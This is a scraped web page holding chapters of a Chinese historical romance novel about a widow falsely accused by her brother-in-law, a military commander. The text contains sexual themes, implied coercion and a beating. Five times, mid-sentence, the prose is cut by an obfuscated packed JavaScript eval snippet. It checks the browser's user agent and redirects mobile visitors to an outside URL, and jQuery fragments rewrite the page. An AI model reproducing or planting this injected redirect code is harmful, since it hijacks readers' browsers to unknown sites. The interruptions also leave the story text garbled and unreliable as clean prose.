周枭见她魂不附体般呆若木鸡,眉心一拧,他没有哄女人的经验,也没有安慰她人的习惯,于是他深深看了两眼便在卫瑜然面前弯腰,用刀尖将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459144|141652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那两截蛇身挑飞到竹林里,以免吓到其他人。 高大身影撤去,在绿樱的呼唤声下,卫瑜然才回过神来,慢慢平复方才受到的惊吓。 “二少奶奶,你没事吧?” 卫瑜然摇头,“我没事。”说罢,她不经意间看了一眼那道身影。 绿樱也是受到了不小惊吓,她害怕马车内还有蛇,“周统制,里面还有蛇吗?” “我去看一下。”周枭收起重刀,一个跳跃踩上车辕,掀开车帷进入车舆内查看。 周家的马车如今是卫瑜然在用,多了不少女子常用的配饰,轻纱帘子,柔软坐垫,散发着淡淡的馨香,甚至有几缕那个女人身上才有的体香。 周枭一进来就看到坐垫上有一本书,名叫《春采图》,他忽然来了兴致,想看看这个女人在看什么,没想到刚一打开翻阅,就被上面露/骨的男女图画震得胸口一凛,怒火中烧。 马车外的两主仆不知道里面发生了什么,忧心等待,不远处的一名侍卫跑过来对马车内的男人汇报说,来逛庙会的人大有淹没庙会的架势,人员复杂,恐生枝节,不宜停留太久,望早点打算。 卫瑜然这才注意到他们似乎在押送两名犯人,不由得猜测大哥今日来庙会的目的是为了抓犯人么? 所以才会与自己撞上。 卫瑜然思索间隙,车帷猛然被人掀开,她闻声看去,只见大哥眼神森冷中夹杂几分怒火盯着她,卫瑜然不解,未等她思索缘由,大哥便带着刀纵身从另一边跳下,朝侍卫走去,重新带队押送犯人。 从始至终没说一句话。 绿樱疑惑:“周统制怎么检查完,一句话都不说?” 卫瑜然也表示不知道,目光遥看押送犯人的队伍,为首那道高大魁梧背影一如既往硬朗沉稳。 只是……卫瑜然收回目光,不知道为何胸口莫名心慌,眉心突突,陡生不好的预感。 “这车里还有没有危险啊?” “……应当是没有了,我们上去吧。” 11. 第 11 章 车轮滚过青砖马路,停在周府前。 卫瑜然下了马车后,便匆匆回到凝香阁,拆开周贯聿生前给她写的信。 信中说到,周贯聿对她甚是想念,问她吃否安否,家中钱财银两可还够?又说到待他秋闱结束,就带她去北方看雪,让大哥打只貂给他俩做貂皮大氅。 周贯聿在信中絮絮叨叨写了许多,无非就是希望她安好,怕她一个人待在偌大的周家憋坏,待他高中解元回来,再带她去游玩。 信笺上,字迹纵逸俊秀,笔下生风,许是考虑到她念书不多,便没有在信上卖弄文采,和他平时在静山书院做的文章,相差极大。 不过,正是因为这样的小细节,卫瑜然能感受到夫君的爱意。 夫君生前那谦和温润摇着折扇的模样仿佛就在眼前,卫瑜然眼眶不禁红了起来,可是她再也不能看到夫君了,他们天人永隔,一个长埋地下,一个……在世上丢失了贞洁,忏悔度日。 一想到这,卫瑜然泪水涟涟,不能自已。 从庙会回来,到日落西山,卫瑜然一直消沉在阁中,连胃口都没有。 直到押送流寇的周枭回来,径直闯入凝香阁,打破了她这份低落消沉。 卫瑜然看着硬闯进来的男人,不好的预感自心头冒起,抬起指尖轻轻抹去眼尾泪珠,幸好没有换轻薄的衣衫,没让人瞧了去。 她站起来作了作揖,眉心蹙起,忍不住提醒:“大哥,有事为何不让人禀告?妾身好准备一下。” 她本只是想提醒一下大哥注意男女大防,毕竟凝香阁是周府女眷的住处,他一个大男人总是不打一声招呼过来,不符合规矩,若是传出去,对大哥名声也不好。 她这话刚落下,不料,一本书被重重砸在桌上。 卫瑜然被这声重响吓了一下,下意识闭上双眸,不明所以。 “卫氏,你最好解释一下为何你车舆中会有这种书?!” 卫瑜然鲜少被人吼过,还是如此厉声的质问,仿佛她已经被判了死刑,容不得她辩驳半句。 可是她连罪名都不清楚,一想到这,卫瑜然胸口感觉压了一座大山,黑沉沉的,胸闷得厉害,她抬眸看了看他,又看了看桌上的书,上面只有三个字——春采图。 她书读得少,也只是在闺中学了几年书认认字罢了,这种书她哪里认识,顶着男人铁青的脸色,慢慢抬起手翻阅。 葱白细手刚碰上这本《春采图》,卫瑜然能感受到她身上有一道目光正盯着自己,带着压抑怒火的审视。 这书里到底有什么值得大哥大发雷霆…… 卫瑜然全然不知,莹白指腹捻住侧边书口,随意翻到一页—— 活色生香的春/宫/图猝不及防跳入眼帘。 她被吓了一跳,手快速缩回来,转头看向大哥,正欲解释,不料撞上大哥阴沉的眼神。 几乎是须臾的瞬间,她就猜到了大哥过来质问自己的前因后果——大哥怀疑这本书是她的,怀疑她生性浪/荡。 “大哥……这、这不是妾身的书!”卫瑜然甚至上前一步,有些着急忙慌,“您不能随便将来历不明的书扣到妾身头上!” 她怎么可能会和这种书有关系。 “来历不明?”和卫瑜然的慌乱相比,周枭显得格外冷静,甚至讥讽,“这书正是从你车舆内找到的,你还敢狡辩?” “车舆?”卫瑜然呢喃,顿时想起今早庙会上大哥在她车舆内检查过后,却一声不吭离开的一幕。 难不成……大哥当时一声不吭走掉是因为在她车舆里发现了这本书?碍于在外边,所以他才压抑怒火,没有当场质问自己? “可是,妾身的车舆内怎么会有这种书?” 卫瑜然眸里委屈地凝起了泪,拼命摇头否认:“这真不是妾身的书,大哥你相信我……” “相信你?”周枭沉声反问,“你说我到底该不该相信你这种水性杨花的女人?” 先前她就有勾引大哥的前科,而今又是在庙会上和郝才捷拉拉扯扯,说是为了取回阿聿的信,可谁家媳妇会为了一封信而和别的男人不知羞耻当街拉扯? 她到底有没有身为他人媳妇的自觉? 再说回这本书,书不是她的,难道是他周枭的么? 周枭内心冷冷一笑,“郝才捷找你到底为了何事?” 他不得不怀疑到郝才捷身上,弟媳的马车内有这种春采图,偏偏他们又正好是在马车旁牵扯不断。 这事一个巴掌拍不响,一想到他们两个极有可能在自己眼皮子底下按着这本春采图寻欢作乐……一股怒气积郁在周统制胸口,面色难看。 卫瑜然一听到他提到郝才捷,微微睁大眼,突然明白过来,大哥这话的意思是,他怀疑自己和郝才捷在马车内苟且,所以才会出现这本春采图。 呼吸猛然一窒,眼睫颤了颤,双唇霎那间失去血色,那股百口莫辩的窒息感又冒了出来,此刻,她深知若是不解释,这盆脏水就会永远留在她身上,再也洗不去。 “郝才捷来找妾身……是为了用夫君的信要挟妾身与他快活一晚。” 卫瑜然顶着来自夫君兄长质疑的压力,一字一句将这份耻辱袒露在这个男人面前,“但是妾身并没有答应他。” 她心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459145|141652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底到底还是抱了一丝期待,期待他会理解自己,毕竟当初在灵堂上,大哥也是站在她这边。大哥是见识过郝才捷的无耻的。 然而,周枭怀疑的目光并没有撤去,他瞥了眼那本春采图,既然不是她的书,那便是郝才捷所有,既然她说拒绝了郝才捷的无耻要求,那为何春采图又在她马车内? 前后矛盾的疑点,反而让周枭脸色越发难看。 其中必然有一人撒了谎。 “你用什么证明你没答应?” 周枭向来有什么话就直说了,这女人的一番说辞并不能彻底打消他的疑虑。 狐媚子惯会做戏,他得打起一百二十分的精神。 殊不知他这一句话落在卫瑜然耳里,无异于变相地站了队,大哥宁愿相信郝才捷,也不愿意相信她说的,反而要她拿出更多的证据,证明她说的话。 卫瑜然听到这句反问,半晌回不过神来,胸腔难受得仿佛被人用细针密密麻麻戳满了洞,鼻尖倏然发酸,“大哥要妾身如何证明没和郝才捷春风一度?” 眼泪终究还是没能含住,簌簌落下,这世上总是要女人证明自己的贞洁,却没人让男人证明一二,哪怕这个人是她夫君的兄长,是位叱诧战场英明神武的大将军,他也是第一时间过来质问自己。 越想越委屈,说到最后,对上男人难以窥测的眼眸,卫瑜然甚至生出一股怨愤,恨恨道:“直到现在,妾身也只是和大哥做了那种事——” 明明玷/污自己的人是他,他却还能理直气壮怀疑自己,他身为大哥,难道就不觉得自己有一分的错么? 卫瑜然将喉咙里的哽噎生咽下去,眼眶不知不觉又蓄满了泪水,满腔的委屈不知道要怎么说出口。 隔着朦胧模糊的视线,卫瑜然看见面前的男人仍是紧抿薄唇,面上看不清神色,用一双晦暗莫测的眼神盯着自己。 寒意从脚底升起,传遍四肢百骸,卫瑜然失神地眨了眨眼,一缕风从窗棂吹来,热泪滚落,划过脸颊。 她咬了咬牙,开始解开身上的衿带……直到所有的衣物尽数脱下。 她就站在这个男人一臂的距离,对方高大魁梧的身姿即便穿着玄色暗纹长袍,也丝毫影响不了武将的气势,身形对比的巨大差异,越发显得站在他面前赤/身裸脚的卫瑜然孤弱无依。 玉臂虚虚环在胸前,锁骨因心口的压抑而微微下陷,每呼吸一口气,仿佛随时能香消玉殒。 被逼得举证无望,走投无路的二少奶奶顶着张脆弱不堪的脸望他,泪水在眼眸里颤颤巍巍凝转,将落未落。 “这样……可以证明了吗,周将军?” 12. 第 12 章 卫瑜然有时会在独处时偷偷落泪,如果她娘亲没有用这么极端的手段逼她和大哥做那种事。 如今,是不是就不会走到需要放下身段和尊严,在一个男人面前褪衣自证清白的地步? 先前大哥骂她荡/妇,狐媚子,那也只是因为他们两人之间发生了关系,从而产生的误会,她碍于涉及到娘亲,无法解释,也就认下了,但在流言蜚语面前,大哥其实并不会主动将家丑往外扬,这样不仅毁了她的名声,也会毁了他和周家的名声。 可这次,是他误会自己和别的男人有染,他难道没有想过,这样的污蔑能将一个女人无声无息杀死吗? 思绪回笼,卫瑜然含泪凝视这位咄咄逼人的将军。 她身上只有谁留下的痕迹,一目了然。 如果这样还不能证明她的清白……卫瑜然思至此,抿紧唇,任由委屈和失望侵染上整个眼眶。 周枭胸口猛然一震,静默不语,内心诧异于这样极端的自证手段,再一次看到春色,他的神智似乎失去了理性,看不到卫瑜然身上的旧痕迹,更看不到新痕迹,他只“看”到了眼前的女人那日是如何在自己身下承/欢。 周枭强迫自己目光落在卫瑜然脸上,然而当触及她眼里的泪水和被冤枉的委屈,倏地哑然失声。 这样的神情,他在守灵那日无意间窥见,那日的卫瑜然也是这样安静,明明死了丈夫受委屈最大的是她,却大度地以大局为重,斡旋各方,撑起一切,如今眼里又是噙满泪,用这样沉默屈辱的方法表达她的不满和委屈。 雪肤乌发,拢在胸前的手因委屈而娇颤,腻雪酥融,娇怜的模样却是那般凄美绝艳,惹人生怜。 周枭喉咙无端发紧,避嫌般偏过头,却是什么也没说,须臾后启步离去。 是否还怀疑不怀疑,卫瑜然无从得知,从对方转头离去那一刻,泪珠汹涌落下,砸到雪白圆月上,滚落进暗处。 原来她做到这份上,还是得不到一句清白。 许是她从一开始就错了,她就不该相信这个男人还有良知,不该寄希望于他是个断案公允的将军,他认定的事实,凭她一介妇人怎么可能扭转得了…… 卫瑜然深深闭上眼,哽咽不已。 - 从凝香阁出来,周枭回到住处,久久难以平复心情。 只一闭眼,眼前便是弟媳那不着一物的身躯,噙着泪倔强看他的眼神,比任何东西,任何人,都要诱惑。 他猛然喝了口烈酒,辛辣入喉,以便冲散那些旖旎心思,却没料到反而让他兴致愈发高涨。 腰腹一紧,他又闷头吞下一碗酒,余光瞥到那本《春采图》,狭长鹰眼笼罩一层暗色,随手取了过来,随意翻开。 一幕幕不同的景致,一个个猎奇的势位。 上面的男女像活了过来,跃然纸上,动了起来,落在周统制眼里,却全变成了他和那位百端娇媚的弟媳。 火被勾了出来,周统制脸色阴沉,重重合上话本,扔到一旁。 愈发坚信沾了女色,男人难成大事,他才尝了荤,心思就已经被女人的身体裹挟。 周枭把李勇喊了过来,拐着弯问他有什么消遣的地方。 李勇毕竟在他身边多年,很快便明白他的意思,便说有一处酒楼既能敞开喝酒,又能听曲儿欣赏舞姬舞姿。 周枭眯了眯眼,豪迈摆手:“那就这里了。” 主仆二人前去一处青楼,刚踏进门口,几个扭着柳腰的女子兴高采烈扑上来娇声唤爷,扑鼻而来一股胭脂俗粉味儿,周枭板着一张冷脸,有些吓人,姑娘们反而不太敢上前碰手挥帕子。 李勇从一堆胭脂俗粉里喊来老鸨,让她找几个好看的姑娘给周统制掌眼,而不是这些胭脂俗粉。 老鸨拿了银两,娇笑一声,当即应声说:“爷放心,等下的姑娘包你们满意。” 没一会,老鸨便带着几个姿色不错的女子过来,一一介绍,李勇站在周统制身边,低声询问:“周统制,您看怎么样?” 周枭扫过这些女子,不发一言,直到看到一个穿着紫色裙襦的女子,眼神倒是有几分狐媚子的劲儿。 老鸨心思玲珑,惯会察言观色,见官人在秋鸢上多看了会,便把人拉出来,“官人好眼力,秋鸢可是我们的头牌呀,琴棋书画样样精通,拿手舞蹈《雨霖铃》,跳得可美了,我看不如就让秋鸢服侍官人吧,还请官人屈尊移步雅间~” 青楼嘈嘈杂杂,来往的人各色各样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459146|141652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,进了雅间,这些嘈杂声就没了。周枭寻了张乌木圈椅坐下,这雅间点缀确实雅致,琴棋书画皆有,另一旁便是一张大床。 秋鸢在一旁给他悠悠倒了杯酒,细嗓柔婉,“官人平时可喜欢喝酒?” 周枭嗯了声,端起酒喝了一口,便将目光落到眼前的女子身上,那双眼睛莫名妖媚,跟只狐狸似的。 秋鸢察觉他的眼神落到自己身上,眼眸自下往上慢慢抬起,眼波流转,朱唇轻启:“官人,这杯酒,秋鸢敬您。” 她右手拢了拢袖口,托起左手腕,将酒杯伸到周枭面前,说完祝酒词,便昂首一饮而尽。 那纤细易折的脖颈,抹胸裹住的雪白,就这么赤城城呈现在男人眼皮底下。 然而,周枭却收紧下颌,神色晦暗,他眼前却是掠过卫氏那狐媚子的身子,再娇媚的细嗓也比不过那狐媚子搂着他脖子喊的一声“夫君”。 简直跟有把镰刀勾住了神魂似的,旁的再艳俗也入不了眼。 腿上一重,秋鸢坐到了他腿上,眼波摄人,素手意欲伸向男人胸膛,却冷不丁被扣住手臂,一股力将她扯离。 秋鸢有些狼狈站定,愣住,“官人?” “不用了,下去吧。”周枭从始至终面色冷沉,临走前掏出了几两碎银搁到桌面,随即大步离去。 雅间外,和别的女子喝着酒的李勇打眼看到周统制出来,不禁一惊,连忙推开这些女子,上前询问:“周统制,难道有哪儿不顺心?” 周枭只冷飕飕给了他一个眼神,李勇顿时夹紧屁/股,脸上讪讪,他知道周统制从来不近女色,就是因为周统制认为女色会误事。 可……这不是看周统制有那个需要么,他这才带人来。 任由李勇怎么绞尽脑汁,也想不到他家周统制到底为何这么快就出来了。 - 回到周府,已是亥时,府里点着灯,周枭径直穿过庭院,经过凝香阁的廊道时,脚下顿了顿。 他神情晦暗望了眼那拱形门洞,那道白墙后飘出来檀香熏香,清淡雅致,比那些胭脂粉味好闻太多。 远处传来金蝉声,吱吱叫个不停,不知在想什么,周统制大步一迈,往澡房走去,一晚上冲了几次冷水。 13. 第 13 章 翌日。 天刚刚亮时,李勇就跟随周统制出门,前往郝才捷的家,将人套上麻袋揍了一顿。 郝才捷滚落在地上,缩着手脚,咬着抹布呜呜求饶。 李勇站在一旁,望着蹲下来的周统制,手腕被护腕缚住,仍然遮挡不了护腕下蔓延出来的青筋,盘绕在手背上,指骨分明。 猛然化为鹰爪扣住郝才捷手腕,一个眨眼的功夫,手腕咔嚓一声骨折。 激起郝才捷一阵撕心裂肺的闷声叫。 这手怕是废了。李勇心想。 做完这一切,主仆两人悄然离去,等郝才捷从麻袋里挣脱出来时,已经不见踪影。 又过了许久,他爹终于发现他被人关在柴房里,身上一阵青一阵紫,脸上更是肿如猪头,郝爹吓坏了,连忙将人解救出来。 得救后,郝才捷第一时间撕心裂肺地握住直直垂落的右手腕,“爹!我的手!我的手!” 郝爹看到举不起来的右手腕,“儿啊,这怎么回事?你的手怎么了?!” 郝才捷痛苦呻吟:“有人给我套麻袋,殴打我……爹你快去报官,一定要抓住他们……” 郝爹六神无主,听了之后忙不迭出去,匆匆前去报官,郝才捷看到屋里只剩下他自己一个人,手腕剜心的疼,疼得受不了,他不得已顶着猪头出去,找大夫给他医治。 然而,一连几个大夫都说只能用夹板来治疗,至于到底能不能恢复原来的样子,全都摇头说难。 郝才捷崩溃,苦苦央求大夫一定要把他的手腕治好,他以后还要执笔参加春闱,要是废了,他以后还怎么参加春闱殿试?! 另一边郝爹报了官,郝才捷抓住救命稻草般,急头白脸描绘细节,“官爷,你们一定要帮我抓到这几个歹徒!” “解元郎放心,我们一定会秉公执法,调查清楚,换解元郎一个清白。” “一定不能放过他们,多谢官爷。” 随后几个官爷便在附近搜查起来。 - 刚回到周府,周枭就收到他的下属胡天从军营传过来的密函。 胡天在密函中先是表达了对令弟的哀悼,再提及将军离营已久,军中不可一日无将领,盼望他早日回营操练带兵,稳定军心。 这信一看就知道是记室令史代为撰写的,胡天那大老粗,怎么可能写这么文绉绉。 周枭将密函收起,李勇问:“周统制,咱们什么时候回营?” “此事……”周枭斟酌片刻,却是想起府上那个狐媚子,昨晚的对峙和那本《春采图》的内容频频浮现于脑海。 紧了紧下颌,周枭将密函递给李勇,侧目吩咐:“你给胡天回封信,告诉他大概五日之后,我们就回去。” 军中大事的确需要他亲自处理,长待家里并不是他志向所求。 “另外,锦州知州那边打声招呼,那两名流寇关押之后,市集街道是否仍出现打劫抢夺之事。”周枭顿了顿,“犹州知州那边也可以复命交差了。” 李勇:“是,属下马上去办。” 处理完这些事,周枭转头让管家去市集上买些吃穿用度,他准备带回军营。 管家前脚一走,李勇写好信出来,汇报道:“周统制,信已用飞鸽传书寄过去了,还有什么要吩咐的吗?” 周枭命他去采购一些物资,布帛、绢、药材、酒和一些熟食,以便进行回易。 他们是军队,可免除商税,这些物资若是从锦州运到别的州郡交易,倒是可以赚上一笔。 周枭从来不是个清高之人,自从周长史去世后,整个周府全靠他在军中的俸禄供给,二弟要去静山书院求学,要娶妻,家中上下要打点,哪哪都需要钱。 对于能在回程之余,顺路赚上一笔,周枭自然不会拒绝。 一番商议后,李勇就带着银票出门采购,筹办运输马车。 - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459147|141652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 经过凝香阁,周枭本想回自己住处,不料恰好撞见正从里面出来的卫瑜然。 周枭扫了她一眼,看她身上穿着织金线合欢花长裙,胸前裹以抹胸,削肩上披着丁香色仙鹤纹刻丝褙子,纤秾合度,婉婉有仪。 他只离她一丈之远,女人沐浴过后的茉莉花香弥漫在空中。 “用膳了吗?”他单负着手在背后,板着脸问道。 卫瑜然只看了他一眼,便把目光偏向另一边,语气疏离,“用过了,劳烦周将军挂念。” 周将军…… 比大哥更疏离的称呼,周枭眯上眼,“你喊我什么?” 卫瑜然转过头来,抬眸定定望进男人漆黑的眼底,重复一遍,“周将军,妾身以为这样的名号更适合兄长。” 从他站郝才捷那刻,这人就已经不再是她的大哥。 “从未有人这样喊过我,你是第一个。”其他人要么喊他周统制,要么喊他统制将军,唯有这个女人第一次这样喊自己。 以她疏离淡漠的态度来看,周枭不认为这是特殊。 卫瑜然却不想继续和这个男人交谈下去,那会令她作呕,昨晚的羞辱仍历历在目,每每想起都如同一把刀在肚子里绞割难受。 昨晚睡下,不知哭了多少次,痛苦于自己人微言轻,就连现在,她也只能弓腰作揖: “妾身还有事,先回凝香阁歇下了。” “等等。”周枭看着她的背影慢慢转过来,一张出水芙蓉的面容拧着眉,话到了喉咙,变了几变,“不出意外,过几日,我要回军中。” 卫瑜然蹙眉,不明白他为何要与自己说这些,这人早些走,她也好清静些,于是卫瑜然低眉顺眼说道:“那妾身祝周将军一路顺风。” 说罢,她又毫无留恋转身,显得方才的祝愿略有几分敷衍。不待见他似的。 周枭望着她离去的背影,一股气莫名积郁在胸中,久散不去。 14. 第 14 章 三日后,犹州知州传来回信,称经核实后,那两名流寇正是开春那帮在犹州边境盘踞的寇盗余孽,不日后将会上报朝廷。因周枭不在犹州,犹州知州只能在信中表达感谢,望日后有机会他必定当面感谢。 流寇一案结束,锦州市集也再没发生抢劫盗窃之事,锦州知州也是了了一桩心事,特地登门拜谢。 知州上门拜访,自然需有当家的女主人主持。 收到知州林成弘要来拜访的函信后,李勇提议:“周统制,我看这事不如就交给管家交接。” 然而周枭没动,瞥了下属一眼,“管家一个男人哪有女人细心。” 李勇不明白,这府里还有几个能撑场面的女人?长史夫人已经去世,府邸上下除了周统制,不就只剩下刚守寡的二少奶奶…… 他忽然明白过来什么,从善如流改了口:“您说的是,男人终归没有女人来的细心,我看不如就交给二少奶奶去操办。” 周枭嘴角掠过一抹淡淡笑意,将函信拍到李勇胸前,“去通知人。” 李勇拿着函信去找二少奶奶,恰好对方在庭院,上前道:“二少奶奶,知州大人林成弘明日登门拜访,周统制让我通知您,让您为林大人准备些饭菜茶酒,好招待人。” 今日午后,闲来没事,卫瑜然在庭院里休息赏赏花,她蓦地想起来以前夫君也给她写过不少信,于是她起身准备回凝香阁翻出来。 没想到刚要离开,就收到这么一个通知。 她捏着手帕,迟疑接过函信,在确认无假后,不得已接下这个担子,毕竟她住在周家,还是二少奶奶,理应操持这些宴请宾客之事。 “知道了。” 翌日一大早,卫瑜然便让小厮前出门采购各种肉类、坊酿的酒和糕点。随后便吩咐厨子做出鲈鱼脍羊肉汤羹、炸羊酥、羊肉拼盘,兔肉拨霞供,东坡豆腐羹等菜肴。 周枭那人体格可不小,又是习武之人,饭量大,肉类得保证足够,再加上一个知州大人,两个大男人一顿伙食下来不能小觑。 接着吩咐管家盯着这些人,以免出错,卫瑜然做完这一切,打算借口身体抱恙,不准备出来迎客了,免得又和那个男人碰面。 回到凝香阁,卫瑜然小憩躺下,过了不知多久,等她醒来已经过了午时,日头仍旧火辣高挂在头顶。 卫瑜然刚喝口茶润润嗓子,绿樱着急忙慌过来说:“二少奶奶,不好了!周统制方才发了不小的火气!” 卫瑜然一惊,放下茶盏:“为何?” 绿樱给她解释缘由:“周统制和知州大人格外爱喝酒,咱们早上买的坊酿酒已经没了!喝得不尽兴,我们怠慢了人家,周统制愠怒,管家方才连忙出门买酒了!” 卫瑜然心下猛地提起胆,这事算到是她的疏忽,她赶忙整理衣裳,从凝香阁掏出一坛女儿红,让绿樱给拿去。 赶到正厅,桌上的羹肴已经吃得差不多,她刚一靠近就闻到浓郁的酒气,两个人仿佛泡在了酒池里。 “妾身见过知州大人。”卫瑜然作了作揖,随后看向倚在椅子的男人,唤道:“周将军。” 林成弘看到卫瑜然出现那刻,醉醺醺的眼忽地一亮,“想必这位就是周统制的弟媳吧,好一个俏媚娘子。” “林大人说笑了。”卫瑜然察觉两人面前换上了茶杯,心里一紧,这怕是喝光了酒,不得不以茶代酒,怪不得这个男人生气。 她稳了稳心神,忐忑道:“今天是妾身准备的酒不够,千错万错都是妾身的错,妾身已经让人去买了,还望林大人海涵。” 林成弘喝得更醉一些,坐姿歪倒一边,他笑着看了眼周枭,挥了挥手,“不碍事不碍事。” 卫瑜然示意绿樱将她那坛女儿红端过来,礼数周到开口,“这是娘家为妾身酿了十多年的女儿红,醇厚甘美,绵柔悠长,林大人您看要不要尝一尝?” “十多年的女儿红?”林成弘呢喃,“这可是不可多得的好酒呐。” 卫瑜然跪在矮桌旁,拆了坛,用酒杓舀了两碗酒,“林大人可以尝一尝。” 端给周枭时,卫瑜然眼神微闪,始终不与他对视,垂着眸将酒放在他面前,“周将军,也尝一尝吧。” 林成弘闻到酒香,顿时如痴如醉,“既然弟妹如此盛情,那我林某就不推脱了哈哈哈。” 林成弘喝了口,细细品味一番,紧接着大为赞赏,“这女儿红果真上好好酒!这么好的酒……是我林某沾了周统制的光了。” “林大人喝得尽兴就好。”卫瑜然笑笑,在对方喝完一杯后,不紧不慢续上。 因顾着不让周家人在知州大人面前失礼,卫瑜然补救时心思更多落在林成弘身上,忽略了另一个人,全然不察身旁某人越来越难看的脸色。 林成弘惬意靠在椅背,随口问起:“听说周统制两日后返回军中,不知可有此事?” 周枭看着跪守在一旁侍候的女人,一边漫不经心回答:“确有此事,林大人是不是有事相托,若能帮忙,周某一定帮。” 林成弘又喝了一口酒,看着卫瑜然一双纤细玉手给他满上,“那倒没有,林某只是随口问问,周统制果真侠之大者,肝胆相照。” “对了,流寇一事,多亏有周统制帮忙,才能如此之快将这些流寇逮捕归案。” 卫瑜然跪在矮桌前,小腿有些麻痹,两个大男人聊天又臭又长,她还听不懂。 看到林成弘的酒杯又空了,她打算借此站起来缓解一下酸胀,不料,刚站起来,小腿一阵抽搐,手中的酒杓掉落,她整个人歪倒林成弘怀里。 这一失误,在场三个人全都一惊。 林成弘错愕虚搂着卫瑜然腰肢,周枭搭在膝盖上的手无端握紧,面容冷峻,眉心愠起微不可察的怒意。 卫瑜然还没反应过来,直到闻到林大人身上陌生的气味,她才红着脸尴尬起来。 还是林成弘打破这一僵局,笑着打圆场:“弟妹当心点,别摔着了。” 卫瑜然觉得十分丢脸,“谢大人关心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459148|141652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应当是妾身近来身体不好,有些体虚,才冒犯了大人,望大人见谅。” “难道我会和你一个妇人计较么?”林成弘欸一声,“既然弟妹身体抱恙,要不先下去休息吧。” 卫瑜然颔首,“谢大人,妾身先行告退。” 卫瑜然站起身来,朝着那个岿然不动的男人作了作揖,“周将军,妾身先退下。” 周枭眼神示意同意,卫瑜然如释重负从正厅退下,没多久林成弘喝醉,宴席结束,卫瑜然让管家将人送上林府的马车。 目送马车离去,卫瑜然这才松了口气,忽然想起正厅里的女儿红,不知道还有没有剩下。 这可是她娘当年亲手给她酿的,还是她的嫁妆。 她一直舍不得开坛喝。 没想到今天犯了疏忽,只能拿出来补救。 天色渐晚,暮色昏暗,卫瑜然匆匆前往正厅,桌上的残羹冷炙已经撤去,剩下那坛女儿红。 她高兴走过去,随着走近,蓦地发现暮色阴暗处坐着的男人。 脚步一顿,“周将军。” 周枭手里拿着酒杯,手比旁人都要大,显得手中的酒杯娇小,捻着杯壁转了转,当着她的面一饮而尽,卫瑜然闻到他酒杯中的酒味,正是她的女儿红。 “周将军,酒喝多了伤身。”卫瑜然语气算不上多好,甚至有些冷淡,她眼里只有那坛女儿红。 上前把酒坛挪到一边,背着男人盖上酒盖,周枭静静看她捣鼓,视线下移,忽然觉得那细盈盈的腰肢格外刺眼。 林成弘搂上时,不见她多挣扎。 果真水性杨花的狐媚子,待他离开,不知要勾/引多少男人。 许是喝了太多酒,周枭脑袋昏沉,喝醉之后脾性外溢豪放,“封上做什么?给我倒上。” 卫瑜然身体一僵,回过头来,看着男人靠在圈椅上,神色不明,语气变得这么恶劣怕不是喝醉了。 “你……”算了,不想和他争执,况且今天是她出了差错,卫瑜然只能重新打开给他倒上。 周枭越喝越多,直到最后一杯都被他喝了去,卫瑜然心痛得无法自拔,整个人都失去了神采。 想到她至今没尝过,她满怀遗憾地伸出一手指抹了抹酒杓上残留的酒液,放到嘴里垂眸品尝。 丝毫不察觉这个动作有多诱人,落在男人眼里无异于挑dou。 朱唇小嘴,白玉一样的纤长手指,还有那暮色拓下来如同剪影般的绝色侧脸,捻液,放进,品尝,随着吞咽,鹅颈上轻微起伏的幅度…… 一道粗/重的呼吸声在昏暗的环境里响起,卫瑜然似有所感停下,转头望向周枭,见他半阖着眸,似乎醉过去了。 